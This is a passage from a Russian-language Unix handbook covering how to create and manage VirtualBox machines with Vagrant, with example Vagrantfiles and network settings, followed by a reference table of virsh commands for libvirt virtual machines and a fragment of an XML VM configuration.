После выполнения этой команды в каталоге создается файл настройки Vagrantfile Он содержит все параметры необходимые для управления ВМ VirtualBox. Имена присваиваемые ВМ оболчка Vagrant не связаны с именами ВМ в VirtualBox. Имена ВМ созданных Vagrant в VirtualBox можно изменять произволным образом.

Создания и запуск виртуальной машины

1. Загрузка файла контейнера На сайте файла контейнера. После этого для создания контейнера с именем <КОНТЕЙНЕР> выполнить команду:

vagrant box add<КОНТЕЙНЕР>

2. Создание проекта Cоздать каталог:

mkdir-p~/Vagrant/<ИМЯ_ПРОЕКТА>

и выполнить команду:

vagrant init<ИМЯ_ПРОЕКТА>

Примечание: Имя каталога для проекта не обязательно должно совпадать с именем проекта.

Примечание: В качестве каталога для проекта вместо ~/Vagrant/ можно выбрать любой каталог доступный на запись.

234 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

1. Запуск ВМ

vagrant up

2. Вход в ВМ

vagrant ssh

Управление ВМ

Примечание: Все команды будут правильно выполняться только из каталога в котором выпол- нялись команды по созданию ВМ

• запуск:

vagrant up

• вход по ssh:

vagrant ssh

• остановка (посылка сигнала завершения в случае использования VirtualBox):

vagrant halt

• приостановка работы виртуальной машины:

vagrant suspend

• возобновление работы виртуальной машины:

vagrant resume

• удаление файлов виртуальной машины (но не файлов конфигурации виртуальной машины Vagrant):

vagrant destroy

Пример Vagrantfile для CentOS 7.2

Vagrant.configure("2") do|config| config.vm.box="CentOS-7.2"

# Сетевой мос для enp0s25 с фиксированным IP config.vm.network"public_network", ip:"192.168.2.253", bridge:"enp0s25"

# Оставить ручные настройки #config.vm.network "public_network", auto_config: false # Настройка сети после запуска ВМ с помощью выполнения команды #config.vm.provision "shell", # run: "always", # inline: "ifconfig eth1 192.168.2.253 netmask 255.255.255.0 up"

# Сетевой мос для нескольких устройств с динамическим IP #config.vm.network "public_network", bridge: [ "enp0s25", "wip3s0" ]

# Виртуальная сеть хоста

3.1. Открытые облачные системы 235 ABC Unix, Выпуск 1.0.01

# config.vm.network "private_network", ip: "192.168.254.10"

config.vm.provider"virtualbox" do|vb| # # Создавать связанный клон, а не полную копию (если это позволяет версия vagrant): # - если это первый клон, то базовый образ копируется в каталог с ВМ и на его основе␣ ˓→создается ВМ для клонирования # - создается снимок ФС для базовой ВМ # - на базе снимка ФС создается ВМ (клон) # !!! Имеет смысл, если нужно создать более одного клона !!! # vb.linked_clone= true if Vagrant::VERSION=~/^1.8/ # # Запуск ВМ с GUI # vb.gui = true # # Имя vb.name="CentOS-7.2" # Основная память: vb.memory="2048" end end

Vagrant: Сеть

Проброс портов

Vagrant.configure("2") do|config| ... config.vm.network :forwarded_port, guest: ПОРТ_ВМ, host: ПОРТ ... end

Для того чтобы изменения вступили в силу: vagrant reload

После перезагрузки все обращения к URL http://127.0.0.1:ПОРТ будут перенаправлятся на порт ПОРТ_ВМ виртуальной машины.

Сетевой мост

Vagrant.configure("2") do|config| ... config.vm.network"public_network" ... end

Если на компьютере несколько сетевых устройств, то при включении нужно выбрать сетевое устройство для сетевого моста:

==> default: Available bridged network interfaces: 1) enp0s25 2) wlp3s0 ==> default: When choosing an interface, it is usually the one that is ==> default: being used to connect to the internet. default: Which interface should the network bridge to? 1

236 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

IP адрес определяется с помощью DHCP. Пример с предопределенным устройством для сетевого моста и статическим IP:

Vagrant.configure("2") do|config| ... config.vm.network"public_network", ip:"192.168.2.253", bridge:"enp0s25" ... end

Виртуальная сеть

Vagrant.configure("2") do|config| ... config.vm.network"private_network", ip:"192.168.254.10" ... end

Пример создания контейнера для CentOS-5.11

Примечание: Ссылки на другие контейнеры (“боксы”) можно взять из репозитория bento.

• загрузить контейнер по ссылке, взятой с https://github.com/chef/bento:

vagrant box add CentOS-5.11 http://opscode-vm-bento.s3.amazonaws.com/vagrant/virtualbox/ ˓→opscode_centos-5.11_chef-provisionerless.box

здесь: CentOS-5.11 - локальное имя контейнера, котрое можно выбрать произвольно. • перейти в каталог ~/Vagrant; • создать каталог CentOS-5.11, сделать его текущим; • выполнить команды:

vagrant init CentOS-5.11

Управление виртуальными машинами с помощью virsh

Источник Утилита virsh пакета программ libvirt предназначена для управления системами виртуализации (KVM, XEN, VmWare, OpenVZ, LXC) из командной строки и служит альтернативой графическому менеджеру виртуальных машин virt-manager. Обычные пользователи могут работать только в режиме просмотра. virsh с одной стороны может запускать командную оболочку аналогичную bash, с другой стороны, может управлять виртуальными машинами прямо из командной строки. Для запуска командной оболочки нужно просто ввести имя команды и нажать :

virsh # <команда> ... # <команда> ... # quit

3.1. Открытые облачные системы 237 ABC Unix, Выпуск 1.0.01

Для использования в качестве команды управления виртуальными машинами используется следу- ющий синтаксис: virsh<команда><опции>

Подключение к удаленному гипервизору virsh можно использовать как локально так и удаленно. Для подключения к удаленному гипер- визору используется следующие форматы команды: • запуск удаленной командной оболочки: virsh--connect<адрес_гипервизора>

• удаленное выполнение команд: virsh--connect<адрес_гипервизора><команда><опция>

Обзор команд

Команды управления виртуальными машинами: Команда Описание help Краткая справка. list Просмотр всех виртуальных машин. dumpxml Вывести файл конфигурации XML для заданной виртуальной машины. create Создать виртуальную машину из файла конфигурации XML и ее запуск. start Запустить неактивную виртуальную машину. destroy Принудительно остановить работу виртуальной машины. define Определяет файл конфигурации XML для заданной виртуальной машины. domid Просмотр идентификатора виртуальной машины. domuuid Просмотр UUID виртуальной машины. dominfo Просмотр сведений о виртуальной машине. domname Просмотр имени виртуальной машины. domstate Просмотр состояния виртуальной машины. quit Закрыть интерактивный терминал. reboot Перезагрузить виртуальную машину. restore Восстановить сохраненную в файле виртуальную машину. resume Возобновить работу приостановленной виртуальной машины. save Сохранить состояние виртуальной машины в файл. shutdown Корректно завершить работу виртуальной машины. suspend Приостановить работу виртуальной машины. undefine Удалить все файлы виртуальной машины. migrate Перенести виртуальную машину на другой узел. Команды управления ресурсами и гипервизором:

238 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

Команда Описание setmem Определяет размер выделенной виртуальной машине памяти. setmaxmem Ограничивает максимально доступный гипервизору объем памяти. setvcpus Изменяет число предоставленных гостю виртуальных процессоров. vcpuinfo Просмотр информации о виртуальных процессорах. vcpupin Настройка соответствий виртуальных процессоров. domblkstat Просмотр статистики блочных устройств для работающей виртуальной машины. domifstat Просмотр статистики сетевых интерфейсов для работающей виртуальной машины. attach-device Подключить определенное в XML-файле устройство к гостю. attach-disk Подключить новое дисковое устройство к гостю attach- Подключить новый сетевой интерфейс к гостю interface detach-device Отключить устройство от гостя (принимает те же определения XML, что и attach-device). detach-disk Отключить дисковое устройство от гостя. detach- Отключить сетевой интерфейс от гостя. interface Другие команды: Команда Описание version Просмотр версии virsh. nodeinfo Просмотр информации о гипервизоре.

Создание виртуальной машины

Файла конфигурации виртуальной машины

Для создания виртуальной машины необходим файл конфигурации в формате XML. Пример файла конфигурации:

r5b2-mySQL01 4a4c59a7ee3fc78196e4288f2862f011 /usr/bin/pygrub linux /var/lib/libvirt/vmlinuz.2dgnU_ /var/lib/libvirt/initrd.UQafMw ro root=/dev/VolGroup00/LogVol00 rhgb quiet 512000 1 destroy restart restart